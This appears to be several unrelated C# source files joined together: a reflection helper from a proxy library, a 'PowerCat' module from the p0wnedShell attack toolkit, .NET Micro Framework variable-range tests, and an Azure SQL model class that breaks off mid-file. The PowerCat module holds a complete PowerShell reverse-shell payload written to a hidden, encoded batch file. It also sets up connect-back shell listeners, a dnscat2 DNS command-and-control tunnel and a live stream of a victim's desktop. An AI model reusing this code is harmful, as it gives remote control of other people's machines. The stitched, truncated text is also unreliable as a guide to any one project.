foreach (var argument in namedArguments)
{
#if FEATURE_LEGACY_REFLECTION_API
if (argument.MemberInfo.MemberType == MemberTypes.Field)
{
fieldList.Add(argument.MemberInfo as FieldInfo);
fieldValuesList.Add(ReadAttributeValue(argument.TypedValue));
}
else
{
propertyList.Add(argument.MemberInfo as PropertyInfo);
propertyValuesList.Add(ReadAttributeValue(argument.TypedValue));
}
#else
if (argument.IsField)
{
fieldList.Add(attributeType.GetField(argument.MemberName));
fieldValuesList.Add(ReadAttributeValue(argument.TypedValue));
}
else
{
propertyList.Add(attributeType.GetProperty(argument.MemberName));
propertyValuesList.Add(ReadAttributeValue(argument.TypedValue));
}
#endif
}
properties = propertyList.ToArray();
propertyValues = propertyValuesList.ToArray();
fields = fieldList.ToArray();
fieldValues = fieldValuesList.ToArray();
}
public static IEnumerable<CustomAttributeInfo> GetNonInheritableAttributes(this MemberInfo member)
{
Debug.Assert(member != null, "member != null");
#if FEATURE_LEGACY_REFLECTION_API
var attributes = CustomAttributeData.GetCustomAttributes(member);
#else
var attributes = member.CustomAttributes;
#endif
foreach (var attribute in attributes)
{
#if FEATURE_LEGACY_REFLECTION_API
var attributeType = attribute.Constructor.DeclaringType;
#else
var attributeType = attribute.AttributeType;
#endif
if (ShouldSkipAttributeReplication(attributeType, ignoreInheritance: false))
{
continue;
}
CustomAttributeInfo info;
try
{
info = CreateInfo(attribute);
}
catch (ArgumentException e)
{
var message =
string.Format(
"Due to limitations in CLR, DynamicProxy was unable to successfully replicate non-inheritable attribute {0} on {1}{2}. " +
"To avoid this error you can chose not to replicate this attribute type by calling '{3}.Add(typeof({0}))'.",
attributeType.FullName,
member.DeclaringType.FullName,
#if FEATURE_LEGACY_REFLECTION_API
(member is Type) ? "" : ("." + member.Name),
#else
(member is TypeInfo) ? "" : ("." + member.Name),
#endif
typeof(AttributesToAvoidReplicating).FullName);
throw new ProxyGenerationException(message, e);
}
if (info != null)
{
yield return info;
}
}
}
public static IEnumerable<CustomAttributeInfo> GetNonInheritableAttributes(this ParameterInfo parameter)
{
Debug.Assert(parameter != null, "parameter != null");
#if FEATURE_LEGACY_REFLECTION_API
var attributes = CustomAttributeData.GetCustomAttributes(parameter);
#else
var attributes = parameter.CustomAttributes;
#endif
var ignoreInheritance = parameter.Member is ConstructorInfo;
foreach (var attribute in attributes)
{
#if FEATURE_LEGACY_REFLECTION_API
var attributeType = attribute.Constructor.DeclaringType;
#else
var attributeType = attribute.AttributeType;
#endif
if (ShouldSkipAttributeReplication(attributeType, ignoreInheritance))
{
continue;
}
var info = CreateInfo(attribute);
if (info != null)
{
yield return info;
}
}
}
/// <summary>
/// Attributes should be replicated if they are non-inheritable,
/// but there are some special cases where the attributes means
/// something to the CLR, where they should be skipped.
/// </summary>
private static bool ShouldSkipAttributeReplication(Type attribute, bool ignoreInheritance)
{
if (attribute.GetTypeInfo().IsPublic == false)
{
return true;
}
if (AttributesToAvoidReplicating.ShouldAvoid(attribute))
{
return true;
}
// Later, there might be more special cases requiring attribute replication,
// which might justify creating a `SpecialCaseAttributeThatShouldBeReplicated`
// method and an `AttributesToAlwaysReplicate` class. For the moment, `Param-
// ArrayAttribute` is the only special case, so keep it simple for now:
if (attribute == typeof(ParamArrayAttribute))
{
return false;
}
if (!ignoreInheritance)
{
var attrs = attribute.GetTypeInfo().GetCustomAttributes<AttributeUsageAttribute>(true).ToArray();
if (attrs.Length != 0)
{
return attrs[0].Inherited;
}
return true;
}
return false;
}
public static CustomAttributeInfo CreateInfo<TAttribute>() where TAttribute : Attribute, new()
{
var constructor = typeof(TAttribute).GetConstructor(Type.EmptyTypes);
Debug.Assert(constructor != null, "constructor != null");
return new CustomAttributeInfo(constructor, new object[0]);
}
public static CustomAttributeInfo CreateInfo(Type attribute, object[] constructorArguments)
{
Debug.Assert(attribute != null, "attribute != null");
Debug.Assert(typeof(Attribute).IsAssignableFrom(attribute), "typeof(Attribute).IsAssignableFrom(attribute)");
Debug.Assert(constructorArguments != null, "constructorArguments != null");
var constructor = attribute.GetConstructor(GetTypes(constructorArguments));
Debug.Assert(constructor != null, "constructor != null");
return new CustomAttributeInfo(constructor, constructorArguments);
}
private static Type[] GetTypes(object[] objects)
{
var types = new Type[objects.Length];
for (var i = 0; i < types.Length; i++)
{
types[i] = objects[i].GetType();
}
return types;
}
public static CustomAttributeBuilder CreateBuilder<TAttribute>() where TAttribute : Attribute, new()
{
var constructor = typeof(TAttribute).GetConstructor(Type.EmptyTypes);
Debug.Assert(constructor != null, "constructor != null");
return new CustomAttributeBuilder(constructor, new object[0]);
}
}
}
| |
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
namespace p0wnedShell
{
class PowerCat
{
private static P0wnedListenerConsole P0wnedListener = new P0wnedListenerConsole();
public static void PowerBanner()
{
string[] toPrint = { "* PowerCat our PowerShell TCP/IP Swiss Army Knife. *" };
// Program.PrintBanner(toPrint);
}
public static void PowerMenu()
{
PowerBanner();
Console.WriteLine(" 1. Setup an Reversed PowerCat Listener.");
Console.WriteLine();
Console.WriteLine(" 2. Connect to a remote PowerCat Listener.");
Console.WriteLine();
Console.WriteLine(" 3. Create a DNS tunnel to a remote DNSCat2 Server.");
Console.WriteLine();
Console.WriteLine(" 4. Create an Reversed Listener/Server for Nikhil Mittal's Show-TargetScreen function.");
Console.WriteLine();
Console.WriteLine(" 5. Back.");
Console.Write("\nEnter choice: ");
int userInput=0;
while (true)
{
try
{
userInput = Convert.ToInt32(Console.ReadLine());
if (userInput < 1 || userInput > 5)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.Write("Enter choice: ");
}
}
switch (userInput)
{
case 1:
PowerReversed();
break;
case 2:
PowerClient();
break;
case 3:
PowerTunnel();
break;
case 4:
ShowScreen();
break;
default:
break;
}
}
public static void PowerReversed()
{
PowerBanner();
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Setup an reversed listener so remote clients can connect-back to you.\n");
Console.ResetColor();
int Lport = 0;
IPAddress Lhost = IPAddress.Parse("1.1.1.1");
IPAddress LocalIPAddress = null;
foreach (IPAddress address in Dns.GetHostEntry(Dns.GetHostName()).AddressList)
{
if (address.AddressFamily == AddressFamily.InterNetwork)
{
LocalIPAddress = address;
break;
}
}
if (LocalIPAddress != null)
{
Console.Write("\n[+] Our local IP address is: {0}, do you want to use this? (y/n) > ", LocalIPAddress);
Lhost = LocalIPAddress;
}
string input = Console.ReadLine();
switch(input.ToLower())
{
case "y":
break;
case "n":
while (true)
{
try
{
Console.Write("\nEnter ip address of your PowerCat Listener (e.g. 127.0.0.1): ");
Console.ForegroundColor = ConsoleColor.Green;
Lhost = IPAddress.Parse(Console.ReadLine());
Console.ResetColor();
Console.WriteLine();
break;
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] That's not a valid IP address, Please Try again");
Console.ResetColor();
}
}
break;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
while (true)
{
try
{
Console.Write("Now Enter the listening port of your PowerCat Listener (e.g. 1337 or 4444): ");
Console.ForegroundColor = ConsoleColor.Green;
Lport = int.Parse(Console.ReadLine());
Console.ResetColor();
Console.WriteLine();
if (Lport < 1 || Lport > 65535)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
}
string Payload = "$client = New-Object System.Net.Sockets.TCPClient(\""+Lhost+"\","+Lport+");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()";
Console.WriteLine("[+] Generating a PowerShell Payload which you can run on your remote clients, so they connect-back to you ;)\n");
Console.ForegroundColor = ConsoleColor.Green;
File.WriteAllText(Program.P0wnedPath()+"\\Invoke-PowerShellTcpOneLine.ps1", Payload);
Console.WriteLine("Payload saved as\t\t .\\Invoke-PowerShellTcpOneLine.ps1");
//System.Diagnostics.Process.Start("notepad.exe", Program.P0wnedPath()+"\\Invoke-PowerShellTcpOneLine.ps1");
Console.ResetColor();
string Encode = "Invoke-Encode -DataToEncode "+Program.P0wnedPath()+"\\Invoke-PowerShellTcpOneLine.ps1 -OutCommand -OutputFilePath "+Program.P0wnedPath()+"\\Encoded.txt -OutputCommandFilePath "+Program.P0wnedPath()+"\\EncodedPayload.bat";
Pshell.RunPSCommand(Encode);
string EncodedCmd = String.Empty;
if (File.Exists(Program.P0wnedPath()+"\\EncodedPayload.bat"))
{
File.Delete(Program.P0wnedPath()+"\\Encoded.txt");
EncodedCmd = File.ReadAllText(Program.P0wnedPath()+"\\EncodedPayload.bat");
File.WriteAllText(Program.P0wnedPath()+"\\EncodedPayload.bat", "powershell.exe -windowstyle hidden -e " + EncodedCmd);
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("Encoded Payload saved as\t .\\EncodedPayload.bat");
Console.ResetColor();
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] Oops something went wrong, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.WriteLine("\n[+] Please wait while setting up our Listener...\n");
string Reversed = "powercat -l -p "+Lport+" -t 1000 -Verbose";
try
{
P0wnedListener.Execute(Reversed);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
return;
}
public static void PowerClient()
{
PowerBanner();
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Let's connect to a remote listener..\n");
Console.ResetColor();
int Rport = 0;
IPAddress Rhost = IPAddress.Parse("1.1.1.1");
while (true)
{
try
{
Console.Write("\nEnter ip address of your remote PowerCat Listener (e.g. 192.168.1.1): ");
Console.ForegroundColor = ConsoleColor.Green;
Rhost = IPAddress.Parse(Console.ReadLine());
Console.ResetColor();
Console.WriteLine();
break;
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] That's not a valid IP address, Please Try again");
Console.ResetColor();
}
}
while (true)
{
try
{
Console.Write("Now Enter the listening port of your PowerCat Listener (e.g. 1337 or 4444): ");
Console.ForegroundColor = ConsoleColor.Green;
Rport = int.Parse(Console.ReadLine());
Console.ResetColor();
Console.WriteLine();
if (Rport < 1 || Rport > 65535)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
}
string Session = "";
Console.WriteLine("[+] Do you want to setup a remote PowerShell tunnel to your Listener?");
Console.Write("[+] Otherwise a cmd session will be opened (y/n) > ");
string input = Console.ReadLine();
switch(input.ToLower())
{
case "y":
Session = "-ep";
break;
case "n":
Session = "-e cmd";
break;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.WriteLine("\n[+] Please wait while connecting to our Listener...\n");
string PowerClient = "powercat -c "+Rhost+" -p "+Rport+" "+Session+" -Verbose";
try
{
P0wnedListener.Execute(PowerClient);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
return;
}
public static void PowerTunnel()
{
PowerBanner();
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("This tool is designed to create an encrypted command-and-control (C&C) channel over the DNS protocol,");
Console.WriteLine("which is an effective tunnel out of almost every network.");
Console.WriteLine("The server is designed to be run on an authoritative DNS server, so first make sure you have set this up.\n");
Console.ResetColor();
string Domain = "";
while(true)
{
Console.Write("[+] Please enter the domain name of our DNSCat2 server (e.g. CheeseHead.com) > ");
Console.ForegroundColor = ConsoleColor.Green;
Domain = Console.ReadLine().TrimEnd('\r', '\n');
Console.ResetColor();
if (Domain == "")
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] This is not a valid domain name, please try again\n");
Console.ResetColor();
}
else
{
break;
}
}
string Session = "";
Console.Write("\n[+] Do you want to setup a remote PowerShell tunnel (otherwise a cmd session will be opened)? (y/n) > ");
string input = Console.ReadLine();
switch(input.ToLower())
{
case "y":
Session = "-ep";
break;
case "n":
Session = "-e cmd";
break;
default:
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] Wrong choice, please try again!\n");
Console.ResetColor();
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
return;
}
Console.WriteLine();
Console.WriteLine("[+] Now make sure you run the following command on your DNSCat2 server:\n\n");
Console.ForegroundColor = ConsoleColor.Blue;
Console.WriteLine("To install the server (if not already installed):");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("$ git clone https://github.com/iagox86/dnscat2.git");
Console.WriteLine("$ cd dnscat2/server/");
Console.WriteLine("$ gem install bundler");
Console.WriteLine("$ bundle install\n");
Console.ForegroundColor = ConsoleColor.Blue;
Console.WriteLine("\nAnd to run the server:");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("$ sudo ruby ./dnscat2.rb "+Domain+"\n\n");
Console.ResetColor();
Console.WriteLine("[+] Ready to Rumble? then Press Enter to continue and wait for Shell awesomeness :)\n");
Console.WriteLine("Press Enter to Continue...");
Console.ReadLine();
Console.WriteLine("[+] Please wait while setting up our DNS Tunnel...\n");
string DNSCat = "powercat -dns "+Domain+" "+Session+" -Verbose";
try
{
P0wnedListener.Execute(DNSCat);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
return;
}
public static void ShowScreen()
{
PowerBanner();
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Creates an Reversed Listener/Server for Nikhil Mittal's Show-TargetScreen function,");
Console.WriteLine("which can be used with Client Side Attacks. This code can stream a target's desktop in real time");
Console.WriteLine("and could be seen in browsers which support MJPEG (Firefox).\n");
Console.ResetColor();
int Lport = 0;
int Rport = 0;
while (true)
{
try
{
Console.Write("Please Enter the listening port of your PowerCat Listener (e.g. 443): ");
Console.ForegroundColor = ConsoleColor.Green;
Lport = int.Parse(Console.ReadLine());
Console.ResetColor();
Console.WriteLine();
if (Lport < 1 || Lport > 65535)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
}
while (true)
{
try
{
Console.Write("Now Enter a local relay port to which Show-TargetScreen connects (e.g. 9000): ");
Console.ForegroundColor = ConsoleColor.Green;
Rport = int.Parse(Console.ReadLine());
Console.ResetColor();
Console.WriteLine();
if (Lport < 1 || Lport > 65535)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
else
{
break;
}
}
catch
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("\n[+] That's not a valid Port, Please Try again\n");
Console.ResetColor();
}
}
Console.WriteLine("[+] Please wait while setting up our Show-TargetScreen Listener/Relay...\n");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("Now if we point Firefox to http://127.0.0.1:"+Rport+ " and run Show-TargetScreen on a victim,");
Console.WriteLine("we should have a live stream of the target user's Desktop.\n");
Console.ResetColor();
string ShowTargetScreen = "powercat -l -v -p " + Lport + " -r tcp:"+Rport+" -rep -t 1000";
try
{
P0wnedListener.Execute(ShowTargetScreen);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
return;
}
}
}
| |
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Copyright (c) Microsoft Corporation. All rights reserved.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
using System;
using System.Reflection;
using Microsoft.SPOT.Platform.Test;
namespace Microsoft.SPOT.Platform.Tests
{
public class VariablesTests : IMFTestInterface
{
[SetUp]
public InitializeResult Initialize()
{
Log.Comment("Adding set up for the tests");
return InitializeResult.ReadyToGo;
}
[TearDown]
public void CleanUp()
{
Log.Comment("Cleaning up after the tests");
}
//Variables Test methods
//The following tests were ported from folder current\test\cases\client\CLR\Conformance\10_classes\Variables
//S5_range_byte_0.cs,S5_range_byte_1.cs,S5_range_char_0.cs,S5_range_char_1.cs,S5_range_double_0.cs,S5_range_double_1.cs,S5_range_float_0.cs,S5_range_float_1.cs,S5_range_int_0.cs,S5_range_int_1.cs,S5_range_int_3.cs,S5_range_long_0.cs,S5_range_long_1.cs,S5_range_long_3.cs,S5_range_short_0.cs,S5_range_short_1.cs
//Test Case Calls
[TestMethod]
public MFTestResults Variables_S5_range_byte_0_Test()
{
Log.Comment("S5_range_byte_0.sc");
Log.Comment("This is a variable range test:");
Log.Comment("byte");
Log.Comment(" CompilesOK: 1");
Log.Comment(" Value: 255Y");
if (Variables_TestClass_S5_range_byte_0.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
[TestMethod]
public MFTestResults Variables_S5_range_byte_1_Test()
{
Log.Comment("S5_range_byte_1.sc");
Log.Comment("This is a variable range test:");
Log.Comment("byte");
Log.Comment(" CompilesOK: 1");
Log.Comment(" Value: 0Y");
if (Variables_TestClass_S5_range_byte_1.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
[TestMethod]
public MFTestResults Variables_S5_range_char_0_Test()
{
Log.Comment("S5_range_char_0.sc");
Log.Comment("This is a variable range test:");
Log.Comment("char");
Log.Comment(" CompilesOK: 1");
Log.Comment(" Value: 65535");
if (Variables_TestClass_S5_range_char_0.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
[TestMethod]
public MFTestResults Variables_S5_range_char_1_Test()
{
Log.Comment("S5_range_char_1.sc");
Log.Comment("This is a variable range test:");
Log.Comment("char");
Log.Comment(" CompilesOK: 1");
Log.Comment(" Value: 0");
if (Variables_TestClass_S5_range_char_1.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
[TestMethod]
public MFTestResults Variables_S5_range_double_0_Test()
{
Log.Comment("S5_range_double_0.sc");
Log.Comment("This is a variable range test:");
Log.Comment("double");
Log.Comment(" CompilesOK: 1");
Log.Comment(" Value: 1.7e308d");
if (Variables_TestClass_S5_range_double_0.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
[TestMethod]
public MFTestResults Variables_S5_range_double_1_Test()
{
Log.Comment("S5_range_double_1.sc");
Log.Comment("This is a variable range test:");
Log.Comment("double");
Log.Comment(" CompilesOK: 1");
Log.Comment(" Value: -1.7e308d");
if (Variables_TestClass_S5_range_double_1.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
[TestMethod]
public MFTestResults Variables_S5_range_float_0_Test()
{
Log.Comment("S5_range_float_0.sc");
Log.Comment("This is a variable range test:");
Log.Comment("float");
Log.Comment(" CompilesOK: 1");
Log.Comment(" Value: 3.4e38F");
if (Variables_TestClass_S5_range_float_0.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
[TestMethod]
public MFTestResults Variables_S5_range_float_1_Test()
{
Log.Comment("S5_range_float_1.sc");
Log.Comment("This is a variable range test:");
Log.Comment("float");
Log.Comment(" CompilesOK: 1");
Log.Comment(" Value: -3.4e38F");
if (Variables_TestClass_S5_range_float_1.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
[TestMethod]
public MFTestResults Variables_S5_range_int_0_Test()
{
Log.Comment("S5_range_int_0.sc");
Log.Comment("This is a variable range test:");
Log.Comment("int");
Log.Comment(" CompilesOK: 1");
Log.Comment(" Value: 2147483647");
if (Variables_TestClass_S5_range_int_0.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
[TestMethod]
public MFTestResults Variables_S5_range_int_1_Test()
{
Log.Comment("S5_range_int_1.sc");
Log.Comment("This is a variable range test:");
Log.Comment("int");
Log.Comment(" CompilesOK: 1");
Log.Comment(" Value: -2147483647");
if (Variables_TestClass_S5_range_int_1.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
[TestMethod]
public MFTestResults Variables_S5_range_int_3_Test()
{
Log.Comment("S5_range_int_3.sc");
Log.Comment("This is a variable range test:");
Log.Comment("int");
Log.Comment(" CompilesOK: 0");
Log.Comment(" Value: -2147483648");
if (Variables_TestClass_S5_range_int_3.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
[TestMethod]
public MFTestResults Variables_S5_range_long_0_Test()
{
Log.Comment("S5_range_long_0.sc");
Log.Comment("This is a variable range test:");
Log.Comment("long");
Log.Comment(" CompilesOK: 1");
Log.Comment(" Value: 9223372036854775807L");
if (Variables_TestClass_S5_range_long_0.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
[TestMethod]
public MFTestResults Variables_S5_range_long_1_Test()
{
Log.Comment("S5_range_long_1.sc");
Log.Comment("This is a variable range test:");
Log.Comment("long");
Log.Comment(" CompilesOK: 1");
Log.Comment(" Value: -9223372036854775807L");
if (Variables_TestClass_S5_range_long_1.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
[TestMethod]
public MFTestResults Variables_S5_range_long_3_Test()
{
Log.Comment("S5_range_long_3.sc");
Log.Comment("This is a variable range test:");
Log.Comment("long");
Log.Comment(" CompilesOK: 0");
Log.Comment(" Value: -9223372036854775808L");
if (Variables_TestClass_S5_range_long_3.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
[TestMethod]
public MFTestResults Variables_S5_range_short_0_Test()
{
Log.Comment("S5_range_short_0.sc");
Log.Comment("This is a variable range test:");
Log.Comment("short");
Log.Comment(" CompilesOK: 1");
Log.Comment(" Value: 32767S");
if (Variables_TestClass_S5_range_short_0.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
[TestMethod]
public MFTestResults Variables_S5_range_short_1_Test()
{
Log.Comment("S5_range_short_1.sc");
Log.Comment("This is a variable range test:");
Log.Comment("short");
Log.Comment(" CompilesOK: 1");
Log.Comment(" Value: -32767S");
if (Variables_TestClass_S5_range_short_1.testMethod())
{
return MFTestResults.Pass;
}
return MFTestResults.Fail;
}
public class Variables_TestClass_S5_range_byte_0
{
public static void Main_old()
{
byte var;
byte var2;
var = 255;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
public class Variables_TestClass_S5_range_byte_1
{
public static void Main_old()
{
byte var;
byte var2;
var = 0;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
public class Variables_TestClass_S5_range_char_0
{
public static void Main_old()
{
char var;
char var2;
var = (char)65535;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
public class Variables_TestClass_S5_range_char_1
{
public static void Main_old()
{
char var;
char var2;
var = (char)0;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
public class Variables_TestClass_S5_range_double_0
{
public static void Main_old()
{
double var;
double var2;
var = 1.7e308d;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
public class Variables_TestClass_S5_range_double_1
{
public static void Main_old()
{
double var;
double var2;
var = -1.7e308d;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
public class Variables_TestClass_S5_range_float_0
{
public static void Main_old()
{
float var;
float var2;
var = 3.4e38F;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
public class Variables_TestClass_S5_range_float_1
{
public static void Main_old()
{
float var;
float var2;
var = -3.4e38F;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
public class Variables_TestClass_S5_range_int_0
{
public static void Main_old()
{
int var;
int var2;
var = 2147483647;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
public class Variables_TestClass_S5_range_int_1
{
public static void Main_old()
{
int var;
int var2;
var = -2147483647;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
public class Variables_TestClass_S5_range_int_3
{
public static void Main_old()
{
int var;
int var2;
var = -2147483648;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
public class Variables_TestClass_S5_range_long_0
{
public static void Main_old()
{
long var;
long var2;
var = 9223372036854775807L;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
public class Variables_TestClass_S5_range_long_1
{
public static void Main_old()
{
long var;
long var2;
var = -9223372036854775807L;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
public class Variables_TestClass_S5_range_long_3
{
public static void Main_old()
{
long var;
long var2;
var = -9223372036854775808L;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
public class Variables_TestClass_S5_range_short_0
{
public static void Main_old()
{
short var;
short var2;
var = 32767;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
public class Variables_TestClass_S5_range_short_1
{
public static void Main_old()
{
short var;
short var2;
var = -32767;
var2 = var;
return;
}
public static bool testMethod()
{
try
{
Main_old();
}
catch
{
return false;
}
return true;
}
}
}
}
| |
//
// Copyright (c) Microsoft and contributors. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//
// See the License for the specific language governing permissions and
// limitations under the License.
//
// Warning: This code was generated by a tool.
//
// Changes to this file may cause incorrect behavior and will be lost if the
// code is regenerated.
using System;
using System.Linq;
using Microsoft.WindowsAzure.Management.Sql.Models;
namespace Microsoft.WindowsAzure.Management.Sql.Models
{
/// <summary>
/// Represents a database in the Azure SQL Database service.
/// </summary>
public partial class Database : SqlModelCommon
{
private string _assignedServiceObjectiveId;
/// <summary>
/// Optional. Gets the ID of the assigned service objective for this
/// database. This is the ID of the service objective being applied.
/// </summary>
public string AssignedServiceObjectiveId
{
get { return this._assignedServiceObjectiveId; }
set { this._assignedServiceObjectiveId = value; }
}
private string _collationName;
/// <summary>
/// Optional. Gets the name of the collation for this database.
/// </summary>
public string CollationName
{
get { return this._collationName; }
set { this._collationName = value; }
}
private DateTime _creationDate;
/// <summary>
/// Optional. Gets the date this database was created.
/// </summary>
public DateTime CreationDate
{
get { return this._creationDate; }
set { this._creationDate = value; }
}
private string _edition;
/// <summary>
/// Optional. Gets the edition of the Azure SQL Database. The
/// DatabaseEditions enumeration contains all the valid editions.
/// </summary>
public string Edition
{
get { return this._edition; }
set { this._edition = value; }
}
private int _id;
/// <summary>
/// Optional. Gets the ID of the database. This ID is unique within
/// the server that contains the database.
/// </summary>
public int Id
{
get { return this._id; }
set { this._id = value; }
}
private bool _isFederationRoot;
/// <summary>
/// Optional. Gets whether or not the database is a federation root.
/// </summary>
public bool IsFederationRoot
{
get { return this._isFederationRoot; }
set { this._isFederationRoot = value; }
}
private bool _isSystemObject;
/// <summary>
/// Optional. Gets whether or not the database is a system object.
/// </summary>
public bool IsSystemObject
{
get { return this._isSystemObject; }
set { this._isSystemObject = value; }
}
private long _maximumDatabaseSizeInBytes;
/// <summary>
/// Optional. Gets the maximum size of this database expressed in bytes.
/// </summary>
public long MaximumDatabaseSizeInBytes
{
get { return this._maximumDatabaseSizeInBytes; }
set { this._maximumDatabaseSizeInBytes = value; }
}
private int _maximumDatabaseSizeInGB;
/// <summary>
/// Optional. Gets the maximum size of this database expressed in
/// gigabytes.
/// </summary>
public int MaximumDatabaseSizeInGB
{
get { return this._maximumDatabaseSizeInGB; }
set { this._maximumDatabaseSizeInGB = value; }
}
private System.DateTime? _recoveryPeriodStartDate;
/// <summary>
/// Optional. Gets the starting date of the restorable period for this
/// database.
/// </summary>
public System.DateTime? RecoveryPeriodStartDate
{
get { return this._recoveryPeriodStartDate; }
set { this._recoveryPeriodStartDate = value; }
}
private string _serviceObjectiveAssignmentErrorCode;
/// <summary>
/// Optional. Gets the error code raised when assigning a new service
/// objective if there was one.
/// </summary>
public string ServiceObjectiveAssignmentErrorCode
{
get { return this._serviceObjectiveAssignmentErrorCode; }
